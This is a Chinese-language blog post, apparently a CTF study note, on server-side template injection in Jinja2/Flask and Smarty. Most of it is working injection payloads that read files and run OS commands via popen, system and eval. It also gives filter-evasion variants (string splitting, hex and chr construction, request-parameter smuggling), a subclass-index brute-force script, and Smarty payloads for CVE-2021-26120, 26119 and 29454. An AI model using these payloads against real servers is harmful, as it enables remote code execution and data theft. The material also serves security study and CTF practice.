ssti漏洞

ssti漏洞

模板引擎

模板引擎是为了使用户界面与业务数据分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档。模板引擎将预先定义的标签字符替换为指定的业务数据,或者根据某种定义好的流程进行输出。

模板引擎可以使html的数据处理更加便捷、高效

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者执行命令的目的。

凡是使用模板的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言。

现在web主流使用的一些框架,比如python的flask,php的thinkphp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞原理

服务端接收了用户的恶意输入以后,未经处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,用户精心构造的攻击语句插入了模板中,进行了语句的拼接,web端执行了所插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、代码执行等问题。

常见的模板引擎

  1. python:jinja2、mako、tornado
  2. php:smarty、twig
  3. java:jade、velocity、Thymeleaf

模板漏洞

python

tornado

见的比较少,待补充

Mako

遇到了再学习吧,贴个链接

https://sechub.in/view/2512595

jinjia2

flask中默认的模板引擎是jinja2

flask有两种渲染方式

  1. render_template() 用于渲染文件
  2. render_template_string() 用于渲染字符串

ssti主要与render_template_string()这种方式有关。

jinja2使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。jinja2 模板同样支持控制语句{%…%}

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等

常用方法
1
2
3
4
5
6
7
8
9
__dict__          :保存类实例或对象实例的属性变量键值对字典
__class__ :返回一个实例所属的类,格式为a.class
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ :以元组形式返回一个类的基类,格式为a.class.bases
__base__ :返回当前类的基类,区别是base返回单个,bases返回是元组
__subclasses__ :以列表返回类的子类
__init__ :类的初始化方法
__globals__ :对包含函数全局变量的字典的引用
__builtins__ :内建名称空间,包括了可用的内置函数

看一个常见payload的利用过程

1
payload=().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

解释:

1
2
3
4
5
6
7
8
9
10
():创建一个空的tuple对象。 
.__class__:获取这个tuple对象的类,也就是tuple类。
.__bases__[0]:访问tuple类的基类,也就是object类。
.__subclasses__():调用object类的__subclasses__方法,这个方法返回所有从object类派生的类的列表。
[64]:从这个列表中选择第65个类。不同的Python环境中这个索引可能对应不同的类
.__init__:获取warnings.catch_warnings类的初始化方法。
.__globals__:访问这个初始化方法的全局变量字典。
['__builtins__']:从全局变量字典中获取__builtins__模块,这个模块包含了所有的内置函数和变量。
['eval']:从__builtins__模块中获取eval函数。
("__import__('os').system('whoami')"):调用eval函数执行字符串中的代码。这段代码使用__import__函数导入os模块,并调用os.system方法执行whoami命令
常见的利用子类以及模块

重载过的__init__类的类有__globals__属性,用__builtins__来查看引用会返回很多dict,找到能利用的

任意文件读取

python2

<type 'file'>

1
{{[].__class__.__base__.__subclasses__()[40]('/flag').read()}}

python3

_frozen_importlib模块

1
2
3
4
5
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
{{[].__class__.__bases__[0].__subclasses__()[104].__init__.__globals__['__builtins__']['open']('/flag').read()}}

click.utils.LazyFile模块

1
2
<class 'click.utils.LazyFile'>
{{[].__class__.__mro__[1].__subclasses__()[345]('/flag').read()}}
命令执行

python2

site模块

1
2
3
<class 'site._Printer'>
<class 'site.Quitter'>
{{[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}

warnings类中的linecache

1
2
3
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('ls')}}

python3

subprocess.Popen模块

1
2
<class 'subprocess.Popen'>
{{[].__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

_frozen_importlib模块

1
2
3
4
5
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
[].__class__.__bases__[0].__subclasses__()[104].__init__.__globals__['__builtins__']['exec']('open("/flag").read()')

os模块

1
2
3
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
[].__class__.__bases__[0].__subclasses__()[147].__init__.__globals__['popen']("ls").read()
寻找可用的子类
1
2
3
4
5
6
7
import requests

for i in range(500):
url = "http://ip/?ssti={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url)
if 'FileLoader' in res.text: #以FileLoader为例
print(i)

更多类与模块参考

python 沙箱逃逸与SSTI

绕过
过滤点号.
1
2
3
''['__class__']
''|attr('__class__')
getattr('',"__class__")
过滤中括号[]
1
2
''.__getattribute__('__class__')
''.__class__.__mro__.__getitem__(0)
过滤关键字
1
2
3
4
5
6
7
8
9
10
11
''["__cla""ss__"]
''["__cla"+"ss__"]
''['__cla'~'ss__']
''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
''["__ssalc__"][::-1]
''|attr("__ssalc__"|reverse)
''.__getattribute__("__ssalc__"[::-1])
''|attr("__claee__"|replace("ee","ss"))
''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
''["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
''.__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
过滤单双引号'/"
1
2
3
4
{{config.__class__.__init__.__globals__[request.args.m].popen(request.args.command).read()}}&m=os&command=cat%20/flag
{{lipsum.__globals__.os.popen(request.values.gg).read()}}&gg=cat /flag
{{lipsum.__globals__.os.popen(request.cookies.get('aa').read()}} Cookie:aa=cat /flag
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
过滤了双花括号
1
{%%}
过滤__init__
1
2
__enter__
__exit__
Flask中的特殊方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
url_for.__globals__['os'].popen('ls').read()
get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
get_flashed_messages.__globals__['os'].popen('ls').read()
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
lipsum.__globals__['os'].popen('ls').read()
config.__class__.__init__.__globals__['os'].popen('ls').read()
config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
foobar.__class__.__init__.__globals__['__builtins__']['open']('flag').read()
request.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()
self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()
cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()
joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()
namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()
g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()
特殊字符全过滤

考虑构造字符

int(): 将值转换为int类型 list(): 将变量列成列表 string(): 将变量转换成字符串 join(): 将一个序列中的参数值拼接成字符串 length(): 返回字符串的长度,别名是count

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set po1=dict(po=a,p=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(po1)(three*eight)%}
{%set gl=(xiahuaxian,xiahuaxian,dict(gl=a,obals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ge=dict(ge=a,t=a)|join%}
{%set o=dict(o=a,s=a)|join%}
{%set po2=dict(po=a,pen=a)|join%}
{%set bu=(xiahuaxian,xiahuaxian,dict(bu=a,iltins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=(lipsum|attr(gl))|attr(ge)(bu)|attr(ge)(dict(chr=a)|join)%}
{%set rce=ch(three*six*six)%2bch(four*five*six-five)%2bch(four*eight)%2bch(six*eight-one)%}
{%set re=dict(re=a,ad=a)|join%}
{%print (lipsum|attr(gl))|attr(ge)(o)|attr(po2)(rce)|attr(re)()%}


{% set po=dict(po=a,p=b)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{%set re=dict(re=a,ad=a)|join%}{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{%set pp=dict(pop=a,en=b)|join %}{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(pp)(\'more /flag\')|attr(re)())%}

php

Smarty

确认版本号(注入点)

1
string:{$smarty.version}
通用版本
1
2
3
4
string:{include file='/flag'}
string:{system('ls')}
#php5可以用<script language="php">
string:{literal}<script language="php">phpinfo();</script>{/literal}
旧版本
1
2
3
4
#通过self调用静态方法
string:{self::getStreamVariable("file:///flag")}
#在Smarty 3.1,{php}仅在SmartyBC中可用
string:{php}system('cat /flag'){/php}
Smarty3以上
1
string:{if phpinfo()}{/if}

CVE-2021-26120

1
string:{function name='x(){};system("cat /flag");function '}{/function}

CVE-2021-26119

1
2
3
4
5
6
7
8
9
string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system("cat /flag")}')}
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system("cat /flag")}')}

CVE-2021-29454

1
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

java

待补充

https://0314valen.github.io/article/2021-11-23-%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5(ssti)

参考

https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/

https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

https://xz.aliyun.com/t/11108


ssti漏洞
http://example.com/2023/01/01/ssti漏洞/
作者
dddkia
发布于
2023年1月1日
许可协议